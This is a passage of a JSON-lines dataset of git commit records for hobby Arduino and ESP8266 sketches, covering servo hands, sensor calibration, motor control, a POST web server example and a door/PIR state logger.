ring;\nServo middle;\nServo index;\nServo thumb;\n\n\/\/Logic states for each finger\nint pinkieL = 180;\nint pinkieH = 90;\nint ringL = 180;\nint ringH = 80;\nint middleL = 0;\nint middleH = 126;\nint indexL = 100;\nint indexH = 15;\nint thumbL = 0;\nint thumbH = 123;\n\n\/\/Define variables\nchar z;\n\nvoid setup() {\n pinkie.attach(11);\n ring.attach(9);\n middle.attach(5);\n index.attach(6);\n thumb.attach(10);\n Serial.begin(9600);\n}\n\nvoid loop(){\n if(Serial.available()>0){\n z = Serial.read();\n }\n if(z=='a'){\n allopened();\n }\n else if(z == 's'){\n allclosed();\n }\n else if(z == 'd'){\n indexthumb();\n }\n}\n\nvoid allclosed(){\n pinkie.write(pinkieH);\n ring.write(ringH);\n middle.write(middleH);\n index.write(indexH);\n thumb.write(thumbH);\n}\n \nvoid allopened(){\n pinkie.write(pinkieL);\n ring.write(ringL);\n middle.write(middleL);\n index.write(indexL);\n thumb.write(thumbL);\n}\n\nvoid indexthumb(){\n pinkie.write(pinkieL);\n ring.write(ringL);\n middle.write(middleL);\n index.write(indexH);\n thumb.write(thumbH);\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mano_v0.7.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ba971fe7e928daebbec189cfef69f00d133832fa","subject":"POST web server example (#2705)","message":"POST web server example (#2705)\n\n* POST web server example\r\n\r\nShould help with the confusion around the plain keyword\r\n\r\n* Update WiFi settings vars, use LED_BUILTIN\r\n","repos":"esp8266\/Arduino,sticilface\/Arduino,esp8266\/Arduino,esp8266\/Arduino,sticilface\/Arduino,esp8266\/Arduino,esp8266\/Arduino,sticilface\/Arduino,sticilface\/Arduino,sticilface\/Arduino","old_file":"libraries\/ESP8266WebServer\/examples\/PostServer\/PostServer.ino","new_file":"libraries\/ESP8266WebServer\/examples\/PostServer\/PostServer.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n\n#ifndef STASSID\n#define STASSID \"your-ssid\"\n#define STAPSK \"your-password\"\n#endif\n\nconst char* ssid = STASSID;\nconst char* password = STAPSK;\n\nESP8266WebServer server(80);\n\nconst int led = LED_BUILTIN;\n\nconst String postForms = \"<html>\\\n <head>\\\n <title>ESP8266 Web Server POST handling<\/title>\\\n <style>\\\n body { background-color: #cccccc; font-family: Arial, Helvetica, Sans-Serif; Color: #000088; }\\\n <\/style>\\\n <\/head>\\\n <body>\\\n <h1>POST plain text to \/postplain\/<\/h1><br>\\\n <form method=\\\"post\\\" enctype=\\\"text\/plain\\\" action=\\\"\/postplain\/\\\">\\\n <input type=\\\"text\\\" name=\\'{\\\"hello\\\": \\\"world\\\", \\\"trash\\\": \\\"\\' value=\\'\\\"}\\'><br>\\\n <input type=\\\"submit\\\" value=\\\"Submit\\\">\\\n <\/form>\\\n <h1>POST form data to \/postform\/<\/h1><br>\\\n <form method=\\\"post\\\" enctype=\\\"application\/x-www-form-urlencoded\\\" action=\\\"\/postform\/\\\">\\\n <input type=\\\"text\\\" name=\\\"hello\\\" value=\\\"world\\\"><br>\\\n <input type=\\\"submit\\\" value=\\\"Submit\\\">\\\n <\/form>\\\n <\/body>\\\n<\/html>\";\n\nvoid handleRoot() {\n digitalWrite(led, 1);\n server.send(200, \"text\/plain\", postForms);\n digitalWrite(led, 0);\n}\n\nvoid handlePlain() {\n if (server.method() != HTTP_POST) {\n digitalWrite(led, 1);\n server.send(405, \"text\/plain\", \"Method Not Allowed\");\n digitalWrite(led, 0);\n } else {\n digitalWrite(led, 1);\n server.send(200, \"text\/plain\", \"POST body was:\\n\" + server.arg(\"plain\"));\n digitalWrite(led, 0);\n }\n}\n\nvoid handleForm() {\n if (server.method() != HTTP_POST) {\n digitalWrite(led, 1);\n server.send(405, \"text\/plain\", \"Method Not Allowed\");\n digitalWrite(led, 0);\n } else {\n digitalWrite(led, 1);\n String message = \"POST form was:\\n\";\n for (uint8_t i = 0; i < server.args(); i++) {\n message += \" \" + server.argName(i) + \": \" + server.arg(i) + \"\\n\";\n }\n server.send(200, \"text\/plain\", message);\n digitalWrite(led, 0);\n }\n}\n\nvoid handleNotFound() {\n digitalWrite(led, 1);\n String message = \"File Not Found\\n\\n\";\n message += \"URI: \";\n message += server.uri();\n message += \"\\nMethod: \";\n message += (server.method() == HTTP_GET) ? \"GET\" : \"POST\";\n message += \"\\nArguments: \";\n message += server.args();\n message += \"\\n\";\n for (uint8_t i = 0; i < server.args(); i++) {\n message += \" \" + server.argName(i) + \": \" + server.arg(i) + \"\\n\";\n }\n server.send(404, \"text\/plain\", message);\n digitalWrite(led, 0);\n}\n\nvoid setup(void) {\n pinMode(led, OUTPUT);\n digitalWrite(led, 0);\n Serial.begin(115200);\n WiFi.begin(ssid, password);\n Serial.println(\"\");\n\n \/\/ Wait for connection\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n if (MDNS.begin(\"esp8266\")) {\n Serial.println(\"MDNS responder started\");\n }\n\n server.on(\"\/\", handleRoot);\n\n server.on(\"\/postplain\/\", handlePlain);\n\n server.on(\"\/postform\/\", handleForm);\n\n server.onNotFound(handleNotFound);\n\n server.begin();\n Serial.println(\"HTTP server started\");\n}\n\nvoid loop(void) {\n server.handleClient();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/ESP8266WebServer\/examples\/PostServer\/PostServer.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"f527bdbad8e9df29107c698231e1d0fb9801ba22","subject":"calibration ongoing","message":"calibration ongoing\n","repos":"sjm42\/avr,sjm42\/avr","old_file":"lab-power-display\/lab-power-display.ino","new_file":"lab-power-display\/lab-power-display.ino","new_contents":"\/\/ lab-power-display.ino\n\n#include <stdlib.h>\n#include \"LedController.hpp\"\n#include <Adafruit_ADS1X15.h>\n\nAdafruit_ADS1115 ads;\n\n#define I2C_ADDR 69\n\n#define BUFSZ 80\nchar buf[BUFSZ];\n\n#define PIN_LED 13\n\n#define LED_BRIGHTNESS 4\n#define CS 10\n#define SEGMENTS 1\n#define DIGITS 5\n#define POS_OFFSET 1\n\n#define CH1_OFFSET 0\n#define CH2_OFFSET 5\n\n\/\/delay before incrementing the counter\n#define delayTime 2000\n\n\/\/the uninitilized controller object\nLedController<SEGMENTS, 1> lc = LedController<SEGMENTS, 1>();\n\n\/\/This function calculates the largest number that can be displayed\nunsigned long long getLargestNumber()\n{\n return (unsigned long long)pow(10, SEGMENTS * DIGITS);\n}\n\n\/\/ useless?\nvoid clear_leds()\n{\n \/\/disables all Digits by default\n for (unsigned int i = 0; i < SEGMENTS; i++)\n {\n for (unsigned int j = 0; j < 8; j++)\n {\n lc.setRow(i, j, 0x00);\n }\n }\n}\n\nvoid init_leds()\n{\n \/\/just make sure that the config is valid\n static_assert(POS_OFFSET + DIGITS < 9, \"invalid configuration\");\n\n \/\/initilize a ledcontroller with a hardware spi and one row\n lc.init(CS);\n lc.clearMatrix();\n \/\/ clear_leds();\n lc.setIntensity(LED_BRIGHTNESS);\n}\n\nvoid set_leds(unsigned long number)\n{\n \/\/the loop is used to split the given number and set the right digit on the Segments\n for (unsigned int i = 0; i < SEGMENTS * DIGITS; i++)\n {\n unsigned long long divisor = 1;\n for (unsigned int j = 0; j < i; j++)\n {\n divisor *= 10;\n }\n\n byte num = number \/ divisor % 10;\n lc.setDigit(SEGMENTS - i \/ DIGITS - 1, i % DIGITS + POS_OFFSET, num, false);\n }\n}\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println(\"Starting...\");\n pinMode(PIN_LED, OUTPUT);\n digitalWrite(PIN_LED, LOW);\n\n init_leds();\n\n ads.setGain(GAIN_ONE);\n ads.setDataRate(RATE_ADS1115_8SPS);\n if (!ads.begin())\n {\n Serial.println(\"Failed to initialize ADS.\");\n while (1)\n ;\n }\n Serial.println(\"Setup complete.\");\n}\n\nvoid loop()\n{\n while (1)\n {\n \/\/ Measure current\n ads.setGain(GAIN_SIXTEEN);\n int16_t a0 = ads.readADC_Differential_0_1();\n Serial.print(\"0: \");\n Serial.println(a0);\n lc.setDigit(0, 7, 0, true);\n set_leds(a0);\n delay(delayTime);\n\n \/\/ Measure voltage\n ads.setGain(GAIN_ONE);\n int16_t a1 = ads.readADC_Differential_2_3();\n Serial.print(\"1: \");\n Serial.println(a1);\n lc.setDigit(0, 7, 1, true);\n set_leds(a1);\n delay(delayTime);\n }\n}\n\/\/ EOF\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lab-power-display\/lab-power-display.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8948c9077d46b427b686ca3a09bf82d6c05634ff","subject":"Basic Obstacle Avoidance","message":"Basic Obstacle Avoidance\n\nAdds basic obstacle avoidance logic to the C3_Pilot module. Currently\ncan't communicate with the C5_Sonar module, but only needs to take in\nthe array of ranges from that board.\n","repos":"jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano","old_file":"Elcano_C3_Pilot\/ObstacleAvoidance.ino","new_file":"Elcano_C3_Pilot\/ObstacleAvoidance.ino","new_contents":"\/* The obstacle avoidance routine recieves an array of integers\n * from the C5_Sensor board which specifies the distance to a \n * potential obstacle in each of the 7 directional sectors \n * currently managed by the sensor setup.\n * Obstacle avoidance uses this data to determine how the bike\n * should respond, and integrates the response into the pilot\n * where it can be managed with respect to the planned course,\n * destination and location.\n *\/\n\n\n\/\/ Permanent Sensor Locations\n\/\/(currently no rear facing sonar)\nint* leftSensors = {1,2,3}\nint* forwardSensors = {3,4,5} \nint* rightSensors = {5,6,7}\n\n\n\n\/* obstacleResponse:\n * takes in the rangeData from the sonar board\n * and the current speed of the bike and determines\n * the response that the pilot should take given\n * the proximity of obstacles in each direction\n * at the current speed.\n * Returns an integer which corresponds to the \n * suggested obstacle response as follows:\n * \n * 0 : NO RESPONSE \n * 1 : FULL BRAKE\n * 2 : HARD RIGHT\n * 3 : HARD LEFT\n *\/\nint obstacleResponse(int* rangeData, int Speed)\n{\n int threshold = calcThreshold(Speed);\n bool leftResponse = rangeDetect(rangeData, leftSensors, threshold);\n bool forwardResponse = rangeDetect(rangeData, forwardSensors, threshold);\n bool rightResponse = rangeDetect(rangeData, rightSensors, threshold);\n\n if(leftResponse || forwardResponse || rightResponse)\n {\n if(leftResponse && forwardResponse && rightResponse)\n {\n return 1; \/\/ FULL BRAKE\n }\n else if(leftResponse && frontResponse)\n {\n return 2; \/\/ HARD RIGHT\n }\n else if(rightResponse && frontResponse)\n {\n return 3; \/\/ HARD LEFT\n }\n else if(leftResponse && rightResponse)\n {\n return 0; \/\/ NO RESPONSE \n }\n }\n return 0; \/\/ NO RESPONSE\n}\n\n\n\/* calcThreshold:\n * Calculates the threshold sensor\n * range for which the bike should\n * respond while travelling at the\n * current speed\n *\/\nint calcThreshold(int velocity)\n{\n \/\/ Logic unavailable\n return 1500;\n}\n\n\n\/* rangeDetect:\n * Uses a collection of sonar locations and \n * a threshold to isolate the obstacle detection\n * to a specific direction and return whether\n * any obstacles are within the threshold range\n *\/\nbool rangeDetect(int* rangeData, int* sonars, int threshold)\n{\n \/\/loop through specified sensors in rangeData\n for(int i = sonars[0]; i <= sonars[2]; i++)\n {\n \/\/can be expanded for multi-hit weighing\n if(rangeData[i] < threshold)\n {\n return true;\n }\n }\n return false;\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Elcano_C3_Pilot\/ObstacleAvoidance.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d49763c57582fed837275b278d085fe39d7aef52","subject":"add calibration script","message":"add calibration script\n","repos":"kkpoon\/CalibrateMPU6050,kkpoon\/CalibrateMPU6050","old_file":"CalibrateMPU6050.ino","new_file":"CalibrateMPU6050.ino","new_contents":"#include <Average.h>\n#include \"I2Cdev.h\"\n#include \"MPU6050.h\"\n\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n #include \"Wire.h\"\n#endif\n\n#define HIST_SIZE 200\n\nMPU6050 accelgyro;\n\nint16_t sensor_temperature;\n\nint16_t ax, ay, az;\nint16_t gx, gy, gz;\n\nfloat aax[HIST_SIZE];\nfloat aay[HIST_SIZE];\nfloat aaz[HIST_SIZE];\n\nfloat agx[HIST_SIZE];\nfloat agy[HIST_SIZE];\nfloat agz[HIST_SIZE];\n\nint16_t off_ax, off_ay, off_az;\nint16_t off_gx, off_gy, off_gz;\n\nint since = millis();\nint timestep = 0;\n\n#define OUTPUT_READABLE_ACCELGYRO\n\n#define LED_PIN 13\nbool blinkState = false;\n\nvoid setup() {\n #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n Wire.begin();\n #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE\n Fastwire::setup(400, true);\n #endif\n\n Serial.begin(38400);\n\n Serial.println(\"Initializing I2C devices...\");\n accelgyro.initialize();\n accelgyro.setFullScaleGyroRange(MPU6050_GYRO_FS_2000);\n accelgyro.setFullScaleAccelRange(MPU6050_ACCEL_FS_2);\n\n Serial.println(\"Testing device connections...\");\n Serial.println(accelgyro.testConnection() ? \"MPU6050 connection successful\" : \"MPU6050 connection failed\");\n\n \/\/ configure Arduino LED for\n pinMode(LED_PIN, OUTPUT);\n}\n\nvoid loop() {\n sensor_temperature = (accelgyro.getTemperature() + 12412) \/ 340;\n \n accelgyro.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n \n off_ax = accelgyro.getXAccelOffset();\n off_ay = accelgyro.getYAccelOffset();\n off_az = accelgyro.getZAccelOffset();\n off_gx = accelgyro.getXGyroOffset();\n off_gy = accelgyro.getYGyroOffset();\n off_gz = accelgyro.getZGyroOffset();\n \n aax[timestep] = ax;\n aay[timestep] = ay;\n aaz[timestep] = az;\n agx[timestep] = gx;\n agy[timestep] = gy;\n agz[timestep] = gz;\n \n if (millis() - since < 180000) {\n printData();\n blinkState = !blinkState;\n digitalWrite(LED_PIN, blinkState);\n delay(1000);\n return;\n }\n\n \n if (ax > 0) off_ax--; else if (ax < 0) off_ax++;\n if (ay > 0) off_ay--; else if (ay < 0) off_ay++;\n if (az > 16384) off_az--; else if (az < 16384) off_az++;\n \n if (gx > 0) off_gx--; else if (gx < 0) off_gx++;\n if (gy > 0) off_gy--; else if (gy < 0) off_gy++;\n if (gz > 0) off_gz--; else if (gz < 0) off_gz++;\n \n accelgyro.setXAccelOffset(off_ax);\n accelgyro.setYAccelOffset(off_ay);\n accelgyro.setZAccelOffset(off_az);\n accelgyro.setXGyroOffset(off_gx);\n accelgyro.setYGyroOffset(off_gy);\n accelgyro.setZGyroOffset(off_gz);\n\n printData();\n \/\/ blink LED to indicate activity\n blinkState = !blinkState;\n digitalWrite(LED_PIN, blinkState); \n timestep++;\n if (timestep >= HIST_SIZE) {\n timestep = 0;\n }\n delay(200);\n}\n\nvoid printData()\n{\n Serial.print(\"temp: \");\n Serial.print(sensor_temperature); Serial.print(\"\\t\");\n Serial.print(\"a\/g:\\t\");\n Serial.print(ax); Serial.print(\"\\t\");\n Serial.print(ay); Serial.print(\"\\t\");\n Serial.print(az); Serial.print(\"\\t\");\n Serial.print(gx); Serial.print(\"\\t\");\n Serial.print(gy); Serial.print(\"\\t\");\n Serial.print(gz); Serial.print(\"\\t\");\n Serial.print(off_ax); Serial.print(\"\\t\");\n Serial.print(off_ay); Serial.print(\"\\t\");\n Serial.print(off_az); Serial.print(\"\\t\");\n Serial.print(off_gx); Serial.print(\"\\t\");\n Serial.print(off_gy); Serial.print(\"\\t\");\n Serial.print(off_gz); Serial.print(\"\\t\");\n Serial.print(mean(aax, HIST_SIZE)); Serial.print(\"\\t\");\n Serial.print(mean(aay, HIST_SIZE)); Serial.print(\"\\t\");\n Serial.print(mean(aaz, HIST_SIZE)); Serial.print(\"\\t\");\n Serial.print(mean(agx, HIST_SIZE)); Serial.print(\"\\t\");\n Serial.print(mean(agy, HIST_SIZE)); Serial.print(\"\\t\");\n Serial.print(mean(agz, HIST_SIZE)); Serial.print(\"\\t\");\n Serial.print(stddev(aax, HIST_SIZE)); Serial.print(\"\\t\");\n Serial.print(stddev(aay, HIST_SIZE)); Serial.print(\"\\t\");\n Serial.print(stddev(aaz, HIST_SIZE)); Serial.print(\"\\t\");\n Serial.print(stddev(agx, HIST_SIZE)); Serial.print(\"\\t\");\n Serial.print(stddev(agy, HIST_SIZE)); Serial.print(\"\\t\");\n Serial.print(stddev(agz, HIST_SIZE));\n Serial.println(\"\");\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CalibrateMPU6050.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5729a6d407d7434ee004852bb14dc71148553e76","subject":"made a new version for whitelist-debugging","message":"made a new version for whitelist-debugging\n\nas opposed to trying to blacklist-debug the existing firmware\n","repos":"psas\/lv3.0-airframe,psas\/lv3.0-airframe,psas\/lv3.0-airframe,psas\/sw-cad-airframe-lv3.0,psas\/lv3.0-airframe,psas\/sw-cad-airframe-lv3.0,psas\/sw-cad-airframe-lv3.0","old_file":"oven-controller\/src\/ovenControl4.ino\/ovenControl4.ino.ino","new_file":"oven-controller\/src\/ovenControl4.ino\/ovenControl4.ino.ino","new_contents":"#include \"Adafruit_MAX31855.h\"\n\n\/\/ Pins connection\nint thermoDO = 3;\nint thermoCLK = 4;\nint thermoCS1 = 5;\nint thermoCS2 = 6;\nint thermoCS3 = 7;\nint thermoCS4 = 8;\nint thermoCS5 = 9;\nint thermoCS6 = 10;\nint heaterPins1 = 11;\nint heaterPins2 = 12;\nint swStart = A0;\nint swMode1 = A1;\nint swMode2 = A2;\nint swMode3 = A3;\n\nint ADCThreshold = 900;\nint timeDelay = 5000;\nint serialDelay = 20;\n\ndouble startTime;\ndouble currTime;\n\n\/\/ Thermocouple readings\nfloat TCP1 = -1;\nfloat TCP2 = -1;\nfloat TCP3 = -1;\nfloat TCP4 = -1;\nfloat TCP5 = -1;\n\n\/\/ Thermocouples\nAdafruit_MAX31855 thermocouple1(thermoCLK, thermoCS1, thermoDO);\nAdafruit_MAX31855 thermocouple2(thermoCLK, thermoCS2, thermoDO);\nAdafruit_MAX31855 thermocouple3(thermoCLK, thermoCS3, thermoDO);\nAdafruit_MAX31855 thermocouple4(thermoCLK, thermoCS4, thermoDO);\nAdafruit_MAX31855 thermocouple5(thermoCLK, thermoCS5, thermoDO);\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n pinMode(heaterPins1, OUTPUT);\n pinMode(heaterPins2, OUTPUT);\n \/\/ wait for MAX chip to stabilize\n delay(1000);\n Serial.println(\"MAX31855 test\");\n startTime= millis();\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n startTime=millis(); \n Serial.print(\"TCP1:\\t\");\n Serial.print(thermocouple1.readFarenheit());\n Serial.print(\"\\nTCP2:\\t\");\n Serial.print(thermocouple2.readFarenheit());\n Serial.print(\"\\nTCP3:\\t\");\n Serial.print(thermocouple2.readFarenheit());\n Serial.print(\"\\nTCP4:\\t\");\n Serial.print(thermocouple2.readFarenheit());\n Serial.print(\"\\nTCP5:\\t\");\n Serial.print(thermocouple2.readFarenheit());\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'oven-controller\/src\/ovenControl4.ino\/ovenControl4.ino.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"7d1d8981fc811cfddf95cf9fdb9cf0800283428d","subject":"add test program for motors","message":"add test program for motors\n","repos":"descampsa\/ardyno","old_file":"test\/test_motor\/test_motor.ino","new_file":"test\/test_motor\/test_motor.ino","new_contents":"\n#include \"DynamixelMotor.h\"\n\nconst uint8_t id=2;\nint16_t speed=256;\nDynamixelInterface &interface=*createSerialInterface(Serial);\nDynamixelMotor motor(interface, id);\n\nvoid setup()\n{ \n delay(100);\n interface.begin(1000000);\n delay(100);\n \n motor.init();\n motor.enableTorque();\n \n \/\/ reset to middle position\n motor.jointMode();\n motor.speed(speed);\n motor.position(0x1ff);\n delay(5000);\n motor.wheelMode();\n}\n\nvoid loop() \n{\n \/\/change motion direction every 5 seconds\n motor.speed(speed);\n speed=-speed;\n delay(5000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/test_motor\/test_motor.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"7f8bb84815739cb74d3dc60d3120d4d627dc0e9a","subject":"ZipliteStepperControl","message":"ZipliteStepperControl\n","repos":"ejyue\/2.009PinkSpot","old_file":"ZipliteStepperControl\/ZipliteStepperControl.ino","new_file":"ZipliteStepperControl\/ZipliteStepperControl.ino","new_contents":"\/* \n\n*\/\n\n#include <Wire.h>\n#include <Adafruit_MotorShield.h>\n\n\/\/ Create the motor shield object with the default I2C address\nAdafruit_MotorShield AFMS = Adafruit_MotorShield(); \n\n\/\/ Connect a stepper motor with 200 steps per revolution (1.8 degree) to motor port #2 (M3 and M4)\nAdafruit_StepperMotor *myMotorPan = AFMS.getStepper(200, 1);\nAdafruit_StepperMotor *myMotorTilt = AFMS.getStepper(200, 2);\n\nint PanGearRatio = 5.5;\nint TiltGearRatio = 3.95;\n\nint CurrentTilt = 0; \/\/ Needs to be negative or zero\nint CurrentPan = 0; \/\/ Needs to be negative or zero\nint PositionTilt = 0;\nint PositionPan = 0;\nint TiltStepAmt = 0;\nint PanStepAmt = 0;\nint deltaTilt = 0;\nint deltaPan = 0;\n\nvoid setup()\n{\n Serial.begin(9600);\n\n AFMS.begin(1000);\n myMotorPan->setSpeed(50);\n myMotorTilt->setSpeed(50);\n}\n\nvoid loop()\n{\n if (Serial.available()>0)\n {\n long int InputData = Serial.parseInt();\n String PositionData = String(InputData);\n if ((PositionData.substring(0,3).toInt()) == 255)\n {\n PositionTilt = PositionData.substring(3,6).toInt();\n PositionPan = PositionData.substring(6).toInt();\n \n deltaTilt = (PositionTilt - CurrentTilt);\n deltaPan = (PositionPan - CurrentPan);\n \n TiltStepAmt = abs(round((deltaTilt\/1.8)*TiltGearRatio));\n PanStepAmt = abs(round((deltaPan\/1.8)*PanGearRatio));\n \n \/\/if (deltaTilt < 0)\n \/\/{\n \/\/ myMotorTilt->step(TiltStepAmt, FORWARD, DOUBLE);\n \/\/}\n \/\/if (deltaTilt > 0)\n \/\/{\n \/\/ myMotorTilt->step(TiltStepAmt, BACKWARD, DOUBLE);\n \/\/}\n \n if (deltaPan < 0)\n {\n myMotorPan->step(PanStepAmt, FORWARD, DOUBLE); \n }\n if (deltaPan > 0)\n {\n myMotorPan->step(PanStepAmt, BACKWARD, DOUBLE);\n }\n \n CurrentTilt = PositionTilt;\n CurrentPan = PositionPan;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ZipliteStepperControl\/ZipliteStepperControl.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"83b67782c09f6c4f96437235594918805b152d9c","subject":"Adding serial debugging for small laser","message":"Adding serial debugging for small laser\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/unowifi\/unowifi.ino","new_file":"unit tests\/unowifi\/unowifi.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/unowifi\/unowifi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"75c2c0e48dafd99da74817d591fe45b91bc17e54","subject":"move Arduino code to ScriptingAccessory\/firmware","message":"move Arduino code to ScriptingAccessory\/firmware\n","repos":"kopanitsa\/ScriptingAccessory,kopanitsa\/ScriptingAccessory,kopanitsa\/ScriptingAccessory,kopanitsa\/ScriptingAccessory","old_file":"ScriptingAccessory\/firmware\/serial_test\/serial_test.ino","new_file":"ScriptingAccessory\/firmware\/serial_test\/serial_test.ino","new_contents":"\/* Copyright 2012 Google Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,\n * USA.\n *\n * Project home page: http:\/\/code.google.com\/p\/usb-serial-for-android\/\n *\/\n\n\/\/ Sample Arduino sketch for use with usb-serial-for-android.\n\/\/ Prints an ever-increasing counter, and writes back anything\n\/\/ it receives.\n\n#define LED_RED 2\n#define LED_GREEN 3\n\nstatic int counter = 0;\nvoid setup() {\n pinMode(LED_RED, OUTPUT); \n pinMode(LED_GREEN, OUTPUT); \n Serial.begin(115200);\n}\n\nvoid loop() {\n Serial.print(\"Tick ***\");\n Serial.print(counter++, DEC);\n Serial.print(\"\\n\");\n\n\/**\n if (Serial.peek() != -1) {\n Serial.print(\"Read: \");\n do {\n Serial.print((char) Serial.read());\n } while (Serial.peek() != -1);\n Serial.print(\"\\n\");\n }\n\n\n \/\/ --- test start @tapioka\n char command = 0;\n if (Serial.peek() != -1) {\n do {\n command = (char) Serial.read();\n if (command == 99 || command == 54) {\n digitalWrite(LED_RED, HIGH);\n digitalWrite(LED_GREEN, LOW);\n } else if (command == 100) {\n digitalWrite(LED_RED, LOW);\n digitalWrite(LED_GREEN, HIGH);\n }\n } while (Serial.peek() != -1);\n }\n \/\/ --- test end @tapioka\n*\/ \n\n char command = 0;\n if (Serial.peek() != -1) {\n Serial.print(\"Read: \");\n do {\n command = (byte) Serial.read();\n Serial.print(\"->\");\n Serial.print(byte(command));\n Serial.print(\"<-\\n\");\n if (command == (byte)0x01) {\n digitalWrite(LED_RED, HIGH);\n digitalWrite(LED_GREEN, LOW);\n } else if (command == 0x02) {\n digitalWrite(LED_RED, LOW);\n digitalWrite(LED_GREEN, HIGH);\n } else {\n digitalWrite(LED_RED, HIGH);\n digitalWrite(LED_GREEN, HIGH);\n Serial.print(\"*******\");\n Serial.print(byte(command));\n Serial.print(\"*******\\n\");\n }\n } while (Serial.peek() != -1);\n Serial.print(\"\\n\");\n }\n\n\n delay(1000);\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ScriptingAccessory\/firmware\/serial_test\/serial_test.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"abe8bd9dd9c26f2f3d0769f628f04609a84af50e","subject":"Create Log-PIR-Switch.ino","message":"Create Log-PIR-Switch.ino\n\nThis script is designed for room monitoring with a door switch and PIR. State changes are logged to a remote server.","repos":"KitWallace\/CitizenSense","old_file":"ESP8266-code\/Log-PIR-Switch.ino","new_file":"ESP8266-code\/Log-PIR-Switch.ino","new_contents":"#include <ESP8266WiFi.h>\nconst char* ssid = \"ssid\";\nconst char* password = \"wifipw\";\n\nconst char* host = \"kitwallace.co.uk\";\nconst char* streamId = \"stream\";\nconst char* privateKey = \"pk\";\n\n\/\/switch is debounced \nconst int switch_pin = 4;\nvolatile boolean switch_isClosed = true; \nvolatile boolean switch_changed = false;\nvolatile unsigned long startMillis = 0;\nconst long debounce_interval = 3 * 1000; \/\/3 seconds is OK for a door opening\n\n\/\/pir transition to no movement only after a period of inactivity\nconst int pir_pin = 5;\nvolatile boolean pir_on = false;\nvolatile boolean pir_changed = false;\nunsigned long pir_millis = 0;\nboolean pir_movement = false;\n\nconst long inactive_interval = 60 * 1000; \/\/ wait 60 seconds after pir false before signaling no activity\n\nvoid switch_change() {\n\/\/ ignore changes within debounce_interval\n unsigned long now = millis();\n if (now - startMillis > debounce_interval) {\n startMillis = now;\n switch_isClosed = digitalRead(switch_pin);\n switch_changed = true;\n } \n}\n\nvoid pir_change() {\n pir_on= digitalRead(pir_pin);\n pir_changed= true;\n}\n\nvoid httpget(String url) {\n WiFiClient client;\n int httpPort = 80;\n while (true) {\n if (client.connect(host, httpPort)) break;\n Serial.println(\"connection failed\");\n delay(100);\n }\n \n Serial.println(\"connected \");\n Serial.print(\"requesting URL: \");\n Serial.println(url);\n\/\/ This will send the request to the server\n String httprequest = String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\";\n\/\/ Serial.println(httprequest);\n client.print(httprequest);\n delay(100);\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n \n Serial.println();\n Serial.println(\"closing connection\");\n}\n\nvoid rtlog (char* field, boolean state) {\n String url = \"\/rt\/home.xq?_action=store&_id=\";\n url += streamId;\n url += \"&_pk=\";\n url += privateKey;\n url += String(\"&\")+field+\"=\";\n url += state;\n httpget(url);\n}\n\nvoid setup () {\n Serial.begin(9600);\n delay(10);\n\n \/\/ set switch pin to be interrupt \n pinMode(switch_pin,OUTPUT);\n attachInterrupt(digitalPinToInterrupt(switch_pin),switch_change,CHANGE);\n Serial.println(\"using Reed switch in pin 4 (d1)\");\n \n \/\/ set PIR pin to be interrupt \n pinMode(pir_pin,INPUT);\n 